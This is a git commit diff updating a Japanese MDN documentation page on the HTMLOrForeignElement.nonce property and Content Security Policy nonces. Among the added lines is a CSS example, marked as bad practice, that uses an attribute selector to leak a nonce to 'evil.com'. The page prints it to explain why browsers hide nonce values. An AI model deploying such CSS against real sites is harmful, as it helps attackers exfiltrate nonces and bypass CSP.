aboutsummaryrefslogtreecommitdiff
path: root/files/ja/web
diff options
context:
space:
mode:
authorMasahiro FUJIMOTO <mfujimot@gmail.com>2021-05-01 01:21:13 +0900
committerGitHub <noreply@github.com>2021-05-01 01:21:13 +0900
commite1de85864127b542e503bc75ac415c9164a80960 (patch)
tree8fcfad04952b3d4708b21552fac023207d76c842 /files/ja/web
parent7ab429f4f603e0f850d852c13d2b87936bfc81d9 (diff)
downloadtranslated-content-e1de85864127b542e503bc75ac415c9164a80960.tar.gz
translated-content-e1de85864127b542e503bc75ac415c9164a80960.tar.bz2
translated-content-e1de85864127b542e503bc75ac415c9164a80960.zip
HTMLOrForeignElement.nonce を更新 (#543)
2021/02/01 時点の英語版に同期
Diffstat (limited to 'files/ja/web')
-rw-r--r--files/ja/web/api/htmlorforeignelement/nonce/index.html41
1 files changed, 25 insertions, 16 deletions
diff --git a/files/ja/web/api/htmlorforeignelement/nonce/index.html b/files/ja/web/api/htmlorforeignelement/nonce/index.html
index c91021d641..cd64acbbb5 100644
--- a/files/ja/web/api/htmlorforeignelement/nonce/index.html
+++ b/files/ja/web/api/htmlorforeignelement/nonce/index.html
@@ -12,42 +12,51 @@ tags:
- nonce
translation_of: Web/API/HTMLOrForeignElement/nonce
---
-<div>{{APIRef("HTML DOM")}}{{SeeCompatTable}}</div>
+<div>{{APIRef("HTML DOM")}}</div>
-<p><span class="seoSummary"><strong><code>nonce</code></strong> は {{DOMxRef("HTMLOrForeignElement")}} のプロパティで、特定のフェッチを続行できるかどうかを決定するためにコンテンツセキュリティポリシー(Content Security Policy)で使用される暗号化番号を返します。</span></p>
+<p><span class="seoSummary"><strong><code>nonce</code></strong> は {{DOMxRef("HTMLOrForeignElement")}} ミックスインのプロパティで、特定のフェッチを続行できるかどうかを決定するためにコンテンツセキュリティポリシー (<a href="/ja/docs/Web/HTTP/CSP">Content Security Policy</a>) で使用される一度だけの暗号化番号を返します。</span></p>
-<p>後の実装では、<code>nonce</code> 属性を持つ要素はスクリプトにのみ公開します(CSS 属性セレクターのようなサイドチャネルには公開しません)。</p>
+<p>後の実装では、 <code>nonce</code> 属性を持つ要素はスクリプトにのみ公開します (CSS 属性セレクターのようなサイドチャネルには公開しません)。</p>
-<h2 id="Syntax" name="Syntax">構文</h2>
+<h2 id="Examples">例</h2>
-<pre class="syntaxbox">var <em>nonce</em> = HTMLElement.nonce
-HTMLElement.nonce = <em>nonce</em></pre>
+<h3 id="Retrieving_a_nonce_value">ノンス値の受け取り</h3>
-<h3 id="Value" name="Value">値</h3>
+<p>以前は、すべてのブラウザーが IDL 属性の <code>nonce</code> に対応しているわけではなかったので、回避策としては、代替として <code><a href="/ja/docs/Web/API/Element/getAttribute">getAttribute</a></code> を使用するようにしていました。</p>
-<p>暗号化ナンス(cryptographic nonce)。</p>
+<pre class="brush: js">let nonce = script['nonce'] || script.getAttribute('nonce');</pre>
-<h2 id="Specifications" name="Specifications">仕様書</h2>
+<p>しかし、最近のバージョンのブラウザーでは、この方法でアクセスすると <code>nonce</code> の値を隠します (空の文字列が返されます)。 IDL プロパティ (<code>script['nonce']</code>) がノンスにアクセスする唯一の方法となります。</p>
+
+<p>ノンスを隠蔽することは、攻撃者が以下のようなコンテンツ属性からデータを取得できるメカニズムを介してノンスデータを流出させることを防ぐのに役立ちます。</p>
+
+<pre class="brush: css example-bad">script[nonce~=whatever] {
+ background: url("https://evil.com/nonce?whatever");
+}</pre>
+
+<h2 id="Specifications">仕様書</h2>
<table class="standard-table">
<thead>
<tr>
<th scope="col">仕様書</th>
- <th scope="col">状態</th>
- <th scope="col">備考</th>
</tr>
</thead>
<tbody>
<tr>
<td>{{SpecName('HTML WHATWG','#attr-nonce','nonce')}}</td>
- <td>{{Spec2('HTML WHATWG')}}</td>
- <td>初回定義</td>
</tr>
</tbody>
</table>
-<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2>
+<h2 id="Browser_compatibility">ブラウザーの互換性</h2>
+
+<p>{{Compat("api.HTMLElement.nonce")}}</p>
-<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div>
+<h2 id="See_also">関連情報</h2>
-<p>{{Compat("api.HTMLOrForeignElement.nonce")}}</p>
+<ul>
+ <li><a href="/ja/docs/Web/HTML/Global_attributes/nonce"><code>nonce</code> グローバル属性</a></li>
+ <li><a href="/ja/docs/Web/HTTP/CSP">コンテンツセキュリティポリシー</a></li>
+ <li>CSP: {{CSP("script-src")}}</li>
+</ul>